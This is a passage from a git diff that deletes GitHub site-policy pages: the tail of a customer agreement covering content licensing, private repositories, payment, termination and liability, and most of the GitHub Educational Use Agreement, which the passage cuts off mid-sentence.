or owns. Customer acknowledges that it: (a) is responsible for Customer Content, (b) will only submit Customer Content that Customer has the right to post (including third party or User-Generated Content), and (c) Customer will fully comply with any third-party licenses relating to Customer Content that Customer posts. -Customer grants the rights set forth in Sections D.3 through D.6, free of charge and for the purposes identified in those sections until such time as Customer removes Customer Content from GitHub servers, except for Content Customer has posted publicly and that External Users have Forked, in which case the license is perpetual until such time as all Forks of Customer Content have been removed from GitHub servers. If Customer uploads Customer Content that already comes with a license granting GitHub the permissions it needs to run the Service, no additional license is required. - -### 3. License Grant to Us - -Customer grants to GitHub the right to store, archive, parse, and display Customer Content, and make incidental copies, only as necessary to provide the Service, including improving the Service over time. This license includes the right to copy Customer Content to GitHub's database and make backups; display Customer Content to Customer and those to whom Customer chooses to show it; parse Customer Content into a search index or otherwise analyze it on GitHub's servers; share Customer Content with External Users with whom Customer chooses to share it; and perform Customer Content, in case it is something like music or video. These rights apply to both public and Private Repositories. This license does not grant GitHub the right to sell Customer Content. It also does not grant GitHub the right to otherwise distribute or use Customer Content outside of our provision of the Service, except that as part of the right to archive Customer Content, GitHub may permit our partners to store and archive Customer Content in public repositories in connection with the GitHub Arctic Code Vault and GitHub Archive Program. Customer grants to GitHub the rights it needs to use Customer Content without attribution and to make reasonable adaptations of Customer Content as necessary to provide the Service. - -### 4. License Grant to External Users - -Any Content that Customer posts publicly, including issues, comments, and contributions to External Users' repositories, may be viewed by others. By setting its repositories to be viewed publicly, Customer agree to allow External Users to view and Fork Customer’s repositories. -If Customer sets its pages and repositories to be viewed publicly, Customer grants to External Users a nonexclusive, worldwide license to use, display, and perform Customer Content through the Service and to reproduce Customer Content solely on the Service as permitted through functionality provided by GitHub (for example, through Forking). Customer may grant further rights to Customer Content if Customer adopts a license. If Customer is uploading Customer Content that it did not create or own, Customer is responsible for ensuring that the Customer Content it uploads is licensed under terms that grant these permissions to External Users - -### 5. Contributions Under Repository License - -Whenever Customer adds Content to a repository containing notice of a license, it licenses that Content under the same terms and agrees that it has the right to license that Content under those terms. If Customer has a separate agreement to license that Content under different terms, such as a contributor license agreement, that agreement will supersede. - -### 6. Moral Rights - -Customer retains all moral rights to Customer Content that it uploads, publishes, or submits to any part of the Service, including the rights of integrity and attribution. However, Customer waives these rights and agrees not to assert them against GitHub, solely to enable GitHub to reasonably exercise the rights granted in Section D, but not otherwise. - -## E. Private Repositories - -### 1. Control - -Customer is responsible for managing access to its Private Repositories, including invitations, administrative control of Organizations and teams, and of access. - -### 2. Confidentiality - -GitHub considers Customer Content in Customer’s Private Repositories to be Customer’s Confidential Information. GitHub will protect and keep strictly confidential the Customer Content of Private Repositories in accordance with Section P. - -### 3. Access - -GitHub personnel may only access Customer's Private Repositories in the situations described in our [Privacy Statement](/site-policy/privacy-policies/github-privacy-statement#repository-contents). - -Customer may choose to enable additional access to its Private Repositories. For example, Customer may enable various GitHub services or features that require additional rights to Customer Content in Private Repositories. These rights may vary depending on the service or feature, but GitHub will continue to treat Customer Content in Customer’s Private Repositories as Customer’s Confidential Information. If those services or features require rights in addition to those it needs to provide the Service, GitHub will provide an explanation of those rights. - -Additionally, we may be [compelled by law](/site-policy/privacy-policies/github-privacy-statement#for-legal-disclosure) to disclose the contents of your private repositories. - -GitHub will provide notice regarding our access to private repository content, unless [for legal disclosure](/site-policy/privacy-policies/github-privacy-statement#for-legal-disclosure), to comply with our legal obligations, or where otherwise bound by requirements under law, for automated scanning, or if in response to a security threat or other risk to security. - -## F. Intellectual Property Notice - -### 1. GitHub's Rights to Content - -The look and feel of the Service is copyright © GitHub, Inc. All rights reserved. Customer may not duplicate, copy, or reuse any portion of the HTML/CSS, JavaScript, or visual design elements or concepts without express written permission from GitHub. - -### 2. GitHub Trademarks and Logos - -If Customer would like to use GitHub's trademarks, Customer must follow all of GitHub's trademark guidelines, including those on GitHub's [logos page](https://github.com/logos). - -### 3. License to GitHub Policies - -This Agreement is licensed under the [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license). - -### 4. Copyright Infringement and DMCA Policy - -If Customer is a copyright owner and believes that Content on the Service violates Customer’s copyright, Customer may notify GitHub in accordance with GitHub's [Digital Millennium Copyright Act Policy](/site-policy/content-removal-policies/dmca-takedown-policy) via the [DMCA form](https://github.com/contact/dmca) or by emailing copyright@github.com. - -### 5. Intellectual Property Rights Reserved - -As between the Parties, GitHub owns all right, title and interest, including all intellectual property rights, in and to the Products. GitHub reserves all rights in and to the Products not expressly granted to Customer under this Agreement. - -## G. GitHub Additional Product Terms - -Some Service features may be subject to additional terms as set forth in the [GitHub Additional Product Terms](/site-policy/github-terms/github-terms-for-additional-products-and-features). By accessing or using these features, Customer agrees to the GitHub Additional Product Terms. - -## H. Subscription Licenses - -Subscription Licenses are granted on a per User basis and multiple Users may not use the same Subscription License. Customer may reassign a Subscription License to a new User only after ninety (90) days from the last reassignment of that same Subscription License, unless the reassignment is due to (i) permanent hardware failure or loss, (ii) termination of the User’s employment or contract, or (iii) temporary reallocation of Subscription Licenses to cover a User’s absence. When Customer reassigns a Subscription License from one User to another, Customer must block the former User’s access to the Subscription License and Customer’s Organizations. - -## I. Affiliates - -Customer’s Affiliates are authorized to use the Products in accordance with this Agreement, so long as Customer remains fully responsible for their access and use of the Products. - -## J. Payment - -### 1. Pricing; Fees - -**Payment Terms** Our pricing is available at [github.com/pricing](https://github.com/pricing) (unless otherwise negotiated by the parties and stated in an Order Form). Customer agrees to pay the Fees in full, up front without deduction or setoff of any kind, in U.S. Dollars. Customer must pay the Fees within thirty (30) days of the GitHub invoice date. Amounts payable under this Agreement are non-refundable, except as otherwise provided in this Agreement. If Customer fails to pay any Fees on time, GitHub reserves the right, in addition to taking any other action at law or equity, to (i) charge interest on past due amounts at 1.0% per month or the highest interest rate allowed by law, whichever is less, and to charge all expenses of recovery, and (ii) terminate the applicable Order Form or SOW. Customer is solely responsible for all taxes, fees, duties and governmental assessments (except for taxes based on GitHub's net income) that are imposed or become due in connection with this Agreement. - -**Usage-Based Billing** Some Service features are billed based on your usage. A limited quantity of these Service features may be included in your plan for a limited term without additional charge. If you choose to purchase paid Service features beyond the quantity included in your plan, you pay for those Service features based on your actual usage in the preceding month. Monthly payment for these purchases will be charged on a periodic basis in arrears, provided that for invoiced customers, paid Service features are billed in advance. See [GitHub Additional Product Terms for details](/site-policy/github-terms/github-terms-for-additional-products-and-features). - -### 2. Purchasing Additional Subscription Licenses - -Customer may obtain additional Subscription Licenses under this Agreement by submitting a request through the Service or via its sales team. If Customer purchases the additional Subscription Licenses, Customer must pay the then-currently applicable Fees for them, prorated for the balance of the applicable Subscription Term. Upon renewal of Customer’s Subscription Licenses for another Subscription Term, GitHub will invoice all Subscription Licenses at once on an annual basis unless otherwise specified in an Order Form. - -### 3. Authorization - -Customer authorizes GitHub to charge the on-file credit card, PayPal account, or other approved methods of payment for Fees. - -## K. Term; Termination; Suspension - -### 1. Term - -This Agreement starts on the Effective Date and will continue in effect until terminated by a Party in accordance with this Section K. - -### 2. Termination for Convenience; Account Cancellation - -Either Party may terminate an Order Form (if applicable) or this Agreement, without cause, upon at least thirty (30) days' prior written notice. If Customer elects to terminate an Order Form or Agreement, it is Customer's responsibility to properly cancel its account with GitHub by going into Settings in the global navigation bar at the top of the screen. GitHub cannot cancel accounts in response to an email or phone request. - -### 3. Termination for Material Breach - -Either Party may terminate this Agreement immediately upon notice if the other Party breaches a material obligation under this Agreement and fails to cure the breach within thirty (30) days from the date it receives notification. GitHub may terminate this Agreement if Customer's Account has been suspended for more than 90 days. - -### 4. Effect of Termination - -* _Order Forms._ Upon termination of this Agreement, Customer may not execute additional Order Forms (if applicable); however, this Agreement will remain in effect for the remainder of any active Order Forms. When an Order Form terminates or expires, as to that Order Form: (i) the Term will immediately end; (ii) any Subscription Licenses in the Order Form will automatically terminate, and Customer will no longer have the right to use the Service; (iii) if any Fees were owed prior to termination, Customer must pay those Fees immediately; (iv) each Party will promptly return (or, if the other party requests it, destroy) all Confidential Information belonging to the other to the extent permitted by the Service. Notwithstanding the foregoing, GitHub will make a reasonable effort to provide Customer with a copy of its lawful, non-infringing account Contents upon request; provided that Customer makes this request within 90 days of termination, suspension, or downgrade. - -* GitHub will retain and use Customer's information as necessary to comply with our legal obligations, resolve disputes, and enforce GitHub's agreements, but barring legal requirements, GitHub will delete Customer's full profile and the Content of its repositories within 90 days of termination or expiration (though some information may remain in encrypted backups). This information cannot be recovered once Customer's account is canceled. - -* GitHub will not delete Content that Customer has contributed to External Users' repositories or that External Users have forked. - -### 5. Suspension - -GitHub has the right to suspend access to all or any part of the Service, including removing Content, at any time for violation of this Agreement or to protect the integrity, operability, and security of the Service, effective immediately, with or without notice. Unless prohibited by law or legal process or to prevent imminent harm to the Service or any third party, GitHub typically provides notice in the form of a banner or email on or before such suspension. GitHub will, in its discretion and using good faith, tailor any suspension as needed to preserve the integrity, operability, and security of the Service. - -### 6. Survival - -All provisions of this Agreement which by their nature should survive termination will survive termination, including, without limitation, ownership provisions, warranty disclaimers, indemnity, and limitations of liability. - -## L. Communications with GitHub - -### 1. Electronic Communication Required - -For contractual purposes, Customer (1) consents to receive communications in an electronic form via the email address it submitted or via the Service; and (2) agrees that all Terms of Service, agreements, notices, disclosures, and other communications that GitHub provides electronically satisfies any legal requirement that those communications would satisfy if they were on paper. This section does not affect Customer's non-waivable rights. - -### 2. Legal Notice to GitHub Must Be in Writing - -Communications made through email or GitHub Support's messaging system will not constitute legal notice to GitHub in any situation where notice to GitHub is required by contract or any law or regulation. Legal notice to GitHub must be in writing and [served on GitHub's legal agent](/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data#submitting-requests). - -## M. Limited Warranty; Disclaimer - -_General Warranty_. Each Party represents and warrants to the other that it has the legal power and authority to enter into this Agreement, and that this Agreement and each Order Form and SOW is entered into by an employee or agent of such Party with all necessary authority to bind such Party to the terms and conditions of this Agreement. - -_Professional Services Warranty._ Unless otherwise set forth in an SOW, GitHub warrants that any Professional Services performed under this Agreement will be performed in a professional and workmanlike manner by appropriately qualified personnel. GitHub's only obligation, and Customer's only remedy, for a breach of this warranty will be, at GitHub's option and expense, to either: (i) promptly re-perform any Professional Services that fail to meet this warranty or (ii) if the breach cannot be cured, terminate the SOW and refund the unused prepaid Fees. - -_Service Disclaimer._ GitHub provides the Service **“AS IS”** and **“AS AVAILABLE”** without warranty of any kind. Without limiting this, GitHub expressly disclaims all warranties, whether express, implied or statutory, regarding the Service including without limitation any warranty of merchantability, fitness for a particular purpose, title, security, accuracy and non-infringement. GitHub does not warrant that the Service will meet Customer's requirements; that the Service will be uninterrupted, timely, secure, or error-free; that the information provided through the Service is accurate, reliable or correct; that any defects or errors will be corrected; that the Service will be available at any particular time or location; or that the Service is free of viruses or other harmful components. GitHub will not be responsible for any risk of loss resulting from Customer's downloading and/or use of files, information, Content or other material obtained from the Service. - -_Beta Previews Disclaimer._ Customer may choose to use Beta Previews in its sole discretion. Beta Previews may not be supported and may be changed at any time without notice. Beta Previews may not be as reliable or available as the Service. Beta Previews are not subject to the same security measures and auditing to which the Service has been and is subject. GitHub will have no liability arising out of or in connection with Beta Previews. **Customer uses Beta Previews at its own risk.** - -## N. Limitations of Liability - -**_Indirect Damages._ To the maximum extent permitted by applicable law, in no event will either party be liable to the other party or to any third party for any indirect, special, incidental, punitive, or consequential damages (including for loss of profits, revenue, or data) or for the cost of obtaining substitute products arising out of or in connection with this Agreement, however caused, whether such liability arises from any claim based upon contract, warranty, tort (including negligence), strict liability or otherwise, and whether or not a party has been advised of the possibility of such damages.** - -**_Limitation of Total Liability._ To the maximum extent permitted by applicable law, in no event will either party's total cumulative liability under this Agreement from all causes of action and all theories of liability exceed the Fees Customer has actually paid to GitHub during the 12 months preceding the claim giving rise to such liability. For products and services (including use of the Products) that are provided free of charge, GitHub’s liability is limited to direct damages up to $5,000.00 USD. For Beta Previews, GitHub's liability is limited to direct damages up to $500.00 USD.** - -**_Exclusions._ The exclusions and limitations set forth in this Section N will not apply to liability arising out of (1) a Party’s breach of its confidentiality obligations in Section P (except for all liability related to Content (excluding GitHub Content), which will remain subject to the limitations and exclusions above) or (2) a Party’s defense obligations in Section O.** - -## O. Defense of Claims; Release - -The Parties will defend each other against third-party claims, as and to the extent set forth in this Section O and will pay the amount of any resulting adverse final judgment or approved settlement, but only if the defending Party is promptly notified in writing of the claim and has the right to control the defense and any settlement of it. The Party being defended must provide the defending Party with all requested assistance, information, and authority. The defending Party will reimburse the other Party for reasonable out-of-pocket expenses it incurs in providing assistance, and will not settle or make any admissions with respect to a third-party claim without the other Party’s prior written consent, not to be unreasonably withheld or delayed. This Section O describes the Parties’ sole remedies and entire liability for such claims. - -### 1. By GitHub - -GitHub will defend Customer against any claim brought by an unaffiliated third party to the extent it alleges Customer’s authorized use of the Service infringes a copyright, patent, or trademark or misappropriates a trade secret of an unaffiliated third party. If GitHub is unable to resolve any such claim under commercially reasonable terms, it may, at its option, either: (a) modify, repair, or replace the Service (as applicable); or (b) terminate Customer’s subscription and refund any prepaid, unused subscription fees. GitHub will have no obligation under this Section O.1 for any such claim arising from: i) the modification of the Service, or the combination, operation, or use of the Service with equipment, devices, software, systems, or data, other than as expressly authorized by this Agreement (including the Documentation); (ii) Customer’s failure to stop using the Service after receiving notice to do so; (iii) Customer’s obligations under Section O.2; (iv) products or services (including use of the Service) that are provided by GitHub free of charge; or (v) access or use of Beta Previews. For purposes of GitHub’s obligation under this Section O.1, the Service includes open source components incorporated by GitHub therein. - -### 2. By Customer - -Customer will defend GitHub against any claim brought by an unaffiliated third party arising from: (i) Customer Content that Customer uploads to the Service; (ii) Customer's violation of this Agreement, including Customer’s breach of confidentiality or violation of Section C; or (iii) any third party-branded equipment, devices, software, systems, or data that Customer combines, operates, or uses with the Service. - -### 3. Disputes with Other Users - -If Customer has a dispute with one or more Users, Customer releases GitHub from all claims, demands and damages (actual and consequential) of every kind and nature, known and unknown, arising out of or in any way connected with such disputes. - -## P. Confidentiality - -Neither Party will use the other Party's Confidential Information, except as permitted under this Agreement. Each Party agrees to maintain in confidence and protect the other Party's Confidential Information using at least the same degree of care as it uses for its own information of a similar nature, but in any event at least a reasonable degree of care. Each Party agrees to take all reasonable precautions to prevent any unauthorized disclosure of the other Party's Confidential Information, including, without limitation, disclosing such Confidential Information only to its Representatives who (i) have a need to know such information, (ii) are parties to appropriate agreements sufficient to comply with this Section P, and (iii) are informed of the restrictions on use and disclosure set forth in this Section P. Each Party is responsible for all acts and omissions of its Representatives. The foregoing obligations will not restrict either Party from disclosing Confidential Information of the other Party pursuant to the order or requirement of a court, administrative agency, or other governmental body, _provided_ that the Party required to make such a disclosure gives reasonable notice to the other Party to enable such Party to contest such order or requirement, unless such notice is prohibited by law. The restrictions set forth in this Section P will survive the termination or expiration of this Agreement. - -## Q. Professional Services - -Upon Customer’s request for Professional Services, GitHub will provide an SOW detailing such Professional Services. GitHub will perform the Professional Services described in each SOW. GitHub will control the manner and means by which the Professional Services are performed and reserves the right to determine personnel assigned. GitHub may use third parties to perform the Professional Services, provided that GitHub remains responsible for their acts and omissions. Customer acknowledges and agrees that GitHub retains all right, title and interest in and to anything used or developed in connection with performing the Professional Services, including software, tools, specifications, ideas, concepts, inventions, processes, techniques, and know-how. To the extent GitHub delivers anything to Customer while performing the Professional Services, GitHub grants to Customer a non-exclusive, non-transferable, worldwide, royalty-free, limited-term license to use those deliverables during the term of this Agreement, solely in conjunction with Customer’s use of the Service. - -## R. Changes to the Service or Terms - -GitHub reserves the right, at its sole discretion, to amend this Agreement at any time and will update this Agreement in the event of any such amendments. GitHub will notify Customer of material changes to this Agreement, such as price increases, at least 30 days prior to the change taking effect by posting a notice on the Service or sending email to the primary email address specified in your GitHub account. Customer's continued use of the Service after those 30 days constitutes agreement to those revisions of this Agreement. For any other modifications, Customer's continued use of the Service constitutes agreement to our revisions of this Agreement. Customer can view all changes to this Agreement in our [Site Policy](https://github.com/github/site-policy) repository. - -GitHub changes the Service via Updates and addition of new features. Notwithstanding the foregoing, GitHub reserves the right at any time to modify or discontinue, temporarily or permanently, the Service (or any part of it) with or without notice. - -## S. Support - -GitHub will provide standard technical Support for the Service at no additional charge twenty-four (24) hours per day, five (5) days per week, excluding weekends and national U.S. holidays. Standard Support is only offered via web-based ticketing through GitHub Support, and Support requests must be initiated from a User with which GitHub's Support team can interact. GitHub may provide premium Support (subject to the [GitHub Premium Support for Enterprise Cloud](/support/learning-about-github-support/about-github-premium-support) terms) or dedicated technical Support for the Service at the Support level, Fees, and Subscription Term specified in an Order Form or SOW. - -## T. Miscellaneous - -### 1. Governing Law - -If Customer’s principal office is in the Americas, this Agreement will be governed by and construed in accordance with the laws of the State of California, without giving effect to the principles of conflict of law, any legal action or proceeding arising under this Agreement will be brought exclusively in the federal or state courts located in the Northern District of California, and the Parties hereby consent to personal jurisdiction and venue therein. If Customer’s principal office is outside the Americas, this Agreement will be governed by the laws of Ireland, any legal action or proceeding arising under this Agreement will be brought exclusively in the courts located in Dublin, and the Parties hereby consent to personal jurisdiction and venue therein. The Parties expressly agree that the United Nations Convention on Contracts for the International Sale of Goods and the Uniform Computer Information Transactions Act will not apply to this Agreement. Notwithstanding anything to the contrary in the foregoing, GitHub may bring a claim for equitable relief in any court with proper jurisdiction. - -### 2. Feedback - -Customer may provide Feedback to GitHub regarding the Products. Feedback is voluntary and is not Customer Confidential Information, even if designated as such. GitHub may fully exercise and exploit such Feedback for the purpose of (i) improving the operation, functionality and use of GitHub’s existing and future product offerings and commercializing such offerings; and (ii) publishing aggregated statistics about the quality of the Products, provided that no data in any such publication will be used to specifically identify Customer, its employees or Customer’s proprietary software code. - -### 3. Non-Assignability - -Neither Party may assign or otherwise transfer this Agreement, in whole or in part, without the other Party's prior written consent, such consent not to be unreasonably withheld, and any attempt to do so will be null and void, except that GitHub may assign this Agreement in its entirety, upon notice to the other party but without the other Party's consent, in connection with a merger, acquisition, corporate reorganization, or sale of all or substantially all of the assigning party's business or assets. - -### 4. Waiver - -A Party's obligations under this Agreement may only be waived in writing signed by an authorized representative of the other Party. No failure or delay by a Party to this Agreement in exercising any right hereunder will operate as a waiver thereof, nor will any single or partial exercise thereof preclude any other or further exercise thereof or the exercise of any right hereunder at law or equity. - -### 5. Severability - -If any provision of this Agreement is deemed by a court of competent jurisdiction to be illegal, invalid, or unenforceable, the Parties will modify or reform this Agreement to give as much effect as possible to that provision. Any provision that cannot be modified or reformed in this way will be deemed deleted and the remaining provisions of this Agreement will continue in full force and effect. - -### 6. Amendments; Complete Agreement; Order of Precedence - -This Agreement may only be modified by a written amendment signed by an authorized representative of GitHub, or by GitHub posting a revised version in accordance with Section R. This Agreement represents the complete and exclusive agreement between the Parties. This Agreement supersedes any proposal or prior agreement oral or written, and any other communications between the Parties relating to the subject matter of these terms, including any confidentiality or nondisclosure agreements. In the event of any conflict between the terms of this Agreement and any Order Form or SOW, the terms of the Order Form or SOW will control with respect to that Order Form or SOW only. - -### 7. Publicity - -If Customer publicly displays the name of its company or organization on its account or otherwise publicly display its trademarks or logos on its profile page, Customer allows GitHub to use its company's or organization's name to identify Customer as a GitHub customer in promotional materials. Customer may revoke this permission by hiding its company or organization name from public display and notifying GitHub in writing to stop using its organization's name in promotional materials. However, GitHub will have no obligation to remove or recall any prior use or distribution of the promotional materials. - -### 8. Force Majeure - -GitHub will be excused from liability to the extent that it is unable to perform any obligation under this Agreement due to extraordinary causes beyond its reasonable control, including acts of God, natural disasters, strikes, lockouts, riots, acts of war, epidemics, or power, telecommunication or network failures. - -### 9. Independent Contractors - -Each Party is an independent contractor with respect to the subject matter of this Agreement. Nothing contained in this Agreement will be deemed or construed in any manner to create a legal association, partnership, joint venture, employment, agency, fiduciary, or other similar relationship between the Parties, and neither Party can bind the other contractually. - -### 10. Questions - -Questions about the Terms of Service? [Contact us](https://github.com/contact/). diff --git a/content/site-policy/github-terms/github-educational-use-agreement.md b/content/site-policy/github-terms/github-educational-use-agreement.md deleted file mode 100644 index 691055b9ae4d..000000000000 --- a/content/site-policy/github-terms/github-educational-use-agreement.md +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: GitHub Educational Use Agreement -versions: - fpt: '*' -topics: - - Policy - - Legal - - Education ---- - -> [!NOTE] -> The below Educational Use Agreement is related to the GitHub Campus Program Partner Schools, also found [here](https://education.github.com/schools/terms), and is considered the program terms and conditions. - -## EDUCATIONAL USE AGREEMENT - -This EDUCATIONAL USE AGREEMENT (this "Agreement") is a legal agreement between you ("Education Partner", “you”, or "your") and GitHub, Inc. (“GitHub”, “we”, or “us”). This Agreement sets forth the terms and conditions under which Education Partner may participate in GitHub’s Education Partner Program and receive Program benefits as defined herein. - -If you are entering into this Agreement on behalf of an organization or other legal entity, you represent that you have the legal authority to do so. - -When you click "I agree", “I accept”, or similar buttons, you accept all the terms and conditions of this Agreement. - -As an educational institution, you’d like to allow Qualified Users to use and access GitHub products listed on an Order Form solely for their non-commercial, academic use. GitHub is willing allow such use and access subject to compliance with this Agreement. GitHub and Education Partner are the "Parties", and each a “Party.” The Parties agree as follows: - -## 1. Definitions - -Capitalized terms herein shall have the meanings set forth below. Capitalized terms not otherwise defined in this Agreement will have the meanings ascribed to them in the applicable GitHub Product terms. - -"_Campaign_" means any activity engaged in by GitHub and Education Partner to promote the use of GitHub Products and Services or the Program through outreach campaigns, emails, print collateral, on a designated Education Partners website, and other marketing materials related to the Program. The Campaign may incorporate Partner Materials as set forth herein. - -"_Designated Admin_" means the Qualified User who is your designated account representative and administrator who will communicate with GitHub on your behalf. You may only have one Designated Admin. - -"_Education Partner Program_" or "Program”: means the GitHub program setting forth benefits and requirements for educational institutions and their Qualified Users (defined below). - -"_GitHub Products_" means the Service and the Software (as defined below) which may be sold separately by GitHub as either “GitHub Enterprise Cloud” or “GitHub Enterprise Server” or together as “GitHub Enterprise.” - -"_GitHub Program Manager_" means GitHub’s representative who will serve as your point of contact throughout the Term of the Program. - -“_Partner Materials_” means those materials you provide to help GitHub market and promote the Program to Qualified Users as part of the Campaign. Partner Materials include, but are not necessarily limited to, Education Partner’s name, logo(s), masthead, graphic designs, trademarked materials, and all similar materials designed or intended to identify Education Partner. - -"_Qualified Users_" means any of the following individuals affiliated with Education Partner : (i) currently enrolled students; (ii) student-facing faculty; (iii) non-faculty staff employees; and (iv) anyone performing academic, not-for-profit research on behalf of or in collaboration with Education Partner . - -"_Request Effective Date_" means the date the Order Form is accepted and processed by the GitHub Program Manager. - -"_Service_" means the hosted GitHub Enterprise Cloud service. The Service includes: Organization account(s), SAML single sign-on, access provisioning, and any applicable Documentation. This list of features and services is non-exhaustive and may be updated from time to time. Use of the Service is governed by the [GitHub Customer Agreement](https://github.com/customer-terms). - -"_Software_" includes any applicable Documentation, as well as any Updates to the Software that GitHub provides to you or that you can access under the [GitHub Customer Agreement](https://github.com/customer-terms) as applicable. - -"_Subscription License_" means the license assigned to each Qualified User to install, operate, access, and use the GitHub Products. You may only assign one Subscription License per Qualified User across your GitHub Enterprise Server instances and GitHub Enterprise Cloud Organizations. Each Qualified User will have access to as many of your Enterprise Cloud Organizations as you permit. However, a single Subscription License may not be utilized by more than one Qualified User to access separate GitHub Products. - -## 2. Program Benefits and Conditions. - -Provided you remain in Good Standing (as defined in Section 2.3 below) and have not breached this Agreement, you will be entitled to receive the benefits described herein (collectively “Benefits”). GitHub may change available Benefits at any time in GitHub’s sole discretion. Should GitHub elect to provide additional Benefits under the Program, GitHub may condition such Benefits on your agreeing to additional terms, restrictions and conditions (collectively “Additional Terms”) applicable to such new or additional Benefits. - -### 2.1 Your Benefits. - -Benefits under the Program include the following: - -#### 2.1.1 GitHub Product Benefits. - -After the Agreement Effective Date, Qualified Users shall have free access to Subscription Licenses on the Service or the Software for each Organization listed on completed Order Forms submitted by the Designated Admin to the GitHub Program Manager. Access to and use of the Service and Software are subject to the terms of the [GitHub Customer Agreement](https://github.com/customer-terms). - -#### 2.1.2 Additional Qualified Users. - -You may add Subscription Licenses, usage or Services for Qualified Users by completing and submitting a new Order Form no more frequently than quarterly. Quarterly requests may be submitted to the GitHub Program Manager using this form: https://support.github.com/contact/campus-program. - -#### 2.1.3 Other Software Benefits. - -You may also obtain additional GitHub Software Products through the Program. The GitHub Program Manager will distribute such Products, which will be subject to this Section 2 and any licenses and/or terms of use applicable to such Products. - -### 2.2 Conditions. - -You must comply with all terms and conditions applicable to each GitHub Product made available through the Program. You must also comply with the following conditions: - -#### 2.2.1 Distribution of GitHub Products. - -You are responsible for informing all relevant departments at your institution of the available Program Benefits and availability of GitHub Products and for making GitHub Products available to any department interested in participating in the Program. - -#### 2.2.2 Designated Admin. - -You must appoint a Designated Admin prior to submitting your initial Order Form. This Designated Admin will be GitHub’s single point of contact for your account and for any technical questions from Qualified Users about GitHub Products. The Designated Admin must provide their contact information to the GitHub Program Manager prior to submission of the Order Form. If the Designated Admin changes for any reason, you must immediately provide us with both notice and the new Designated Admin’s contact information . - -#### 2.2.3 Logo/Partner Material Usage. - -You grant to GitHub the right to use your logo and other Partner Materials, subject to the terms of Section 5 (“Trademark Release”). All Partner Materials must be provided to GitHub for use in the Campaign no later than 30 days of the Agreement Effective Date. - -#### 2.2.4 Qualified User Communications. - -You must provide channels of communications and information to enable GitHub to communicate information about GitHub products and services to Qualified Users. These channels of communications may include email, SMS, social media or other means of communications designed to reach the maximum number of potential Qualified Users. To the extent required by applicable law, you represent and warrant that you have permission to provide such channels of communication and for GitHub to communication with such Qualified Users. Every potential Qualified User contacted by GitHub will have the ability to opt-out of any future communications. - -### 2.3 Good Standing. - -“Good Standing” means that you are in current compliance with all Conditions in this Section 2 and with the Agreement (“Conditions”). If you are not currently in compliance, GitHub may, but is not required to, allow you a period of time to cure your non-compliance and return to Good Standing. Granting a cure period is not a waiver of any term or condition of this Agreement nor a guarantee of any future cure period. You must remain in Good Standing throughout the Agreement Term and, upon request, report your compliance to GitHub. Failure to remain in Good Standing is a breach of this Agreement and may result in termination of the Agreement. - -## 3. Restrictions and Limitations. - -### 3.1 General Restrictions. - -You agree: (i) not to resell the GitHub Products, or to charge any service or other fee to Qualified Users in connection with their use of the GitHub Products under this Agreement; (ii) that you are responsible and liable for Qualified Users' use of the GitHub Products; and (iii) to cooperate with GitHub to enforce the terms of this Agreement in connection with Qualified Users' use of the GitHub Products, including, without limitation, sending appropriate notices to and terminating access to the GitHub Products for Qualified Users who misuse the GitHub Products in any way (iv) to support Qualified Users in the administration and maintenance of their accounts,; and (v) only your Designated Admin shall communicate with GitHub directly about program membership and administration of the Products and Services. You shall immediately terminate access to GitHub Products and Services for any Qualified User who no longer qualifies as such under this Agreement. - -### 3.2 GitHub Product Support. - -GitHub is not obligated to provide any technical or other support to Qualified Users unless specifically set forth in an Order Form. GitHub shall have no liability to you or any Qualified Users for loss or damages arising from or relating to use and access of the Services. - -## 4. Trademark Release. - -### 4.1 License. - -You grant GitHub, during the Agreement Term, a worldwide, non-exclusive, royalty-free license to incorporate any of the Partner Materials (including any nonmaterial modifications thereto) into the Campaign and to publicly use, distribute, reproduce, and perform/display the Partner Materials and the Campaign, and any excerpts thereof, in any format or medium, in any language, and to attribute the Partner Materials to Education Partner. GitHub is not obligated to use the Partner Materials, however, any Partner Materials used by GitHub must be submitted by Education Partner and must be approved in advance by the GitHub Program Manager. - -### 4.2 Trademarks. - -Education Partner grants to GitHub, during the Agreement Term, a worldwide, non-exclusive, royalty-free license to use Education Partner’s name and trademarks (i) as they appear in the Partner Materials, if at all, and (ii) as otherwise approved by Education Partner in writing ("Education Partner Trademarks"), in the Campaign. All goodwill arising out of GitHub’s use of the Education Partner Trademarks will inure to the benefit of Education Partner, and Education Partner will retain all right and title to the Education Partner Trademarks. - -### 4.3 No Compensation. - -The licenses described herein from Education Partner to GitHub are granted without compensation or any financial or other obligation. - -### 4.4 Waiver; Reps and Warranties; Indemnification. - -The Campaign shall be created and conducted by GitHub and Education Partner waives any right to approve the Campaign or to enjoin or impair GitHub’s use of the Partner Materials in the Campaign. Education Partner represents and warrants that (i) it has all necessary rights to grant these licenses, (ii) the Partner Materials will not infringe any copyright, trade secret, trademark, or right of publicity/privacy, and (iii) any testimonials in the Partner Materials reflect Education Partner’s honest opinions or experiences. Unless the Partner Materials are altered by GitHub without the consent or direction of Education Partner, Education Partner will indemnify and hold GitHub harmless from and against all third-party claims arising out of Education Partner’s breach of these representations and warranties. - -## 5. Term and Termination. - -### 5.1 Term. - -The term of this Agreement begins on the date the license key is delivered (for Software) or the subscription is activated (for the Services) ("Agreement Effective Date"), and unless terminated in accordance with this Section, shall continue in effect for a period of one (1) year (the “Initial Term”). The Initial Term of this Agreement and each Renewal Term shall be referred to collectively as the “Agreement Term.” - -### 5.2 Termination for Convenience. - -Either Party may terminate this Agreement and any Order Forms submitted and accepted pursuant to the terms and conditions of this Agreement, at any time, for any reason or no reason, upon thirty (30) days’ written notice. Termination of a portion of the Services offered herein or any Order Form will result in the termination of the entire Agreement. - -### 5.3 Termination for Breach. - -If you breach this Agreement, we may terminate the Agreement or any Order Form thirty (30) days after we provide you with notice of the breach unless you cure the breach in that period. However, no such notice or cure period is required for any breach of any provision relating to intellectual property (including compliance with the license or rights grant and any license or rights restrictions). - -### 5.4 Effect of Termination. - -Upon termination or expiration: (i) your license and any rights held by Qualified Users will immediately cease; and (ii) unless otherwise agreed in writing, you will, at your expense within five (5) days of the termination or expiration: (y) return or delete the Software along with any documentation in your possession or control; and (z) cease accessing and using the Services and send to GitHub a certification signed by one of your authorized employees confirming compliance with these requirements.. Sections 1 and 3 through 9 will survive the termination or expiration of this Agreement for any reason. - -### 5.5 Alternative Breach Resolution. - -If you fail to maintain Good Standing or otherwise breach this Agreement, GitHub may 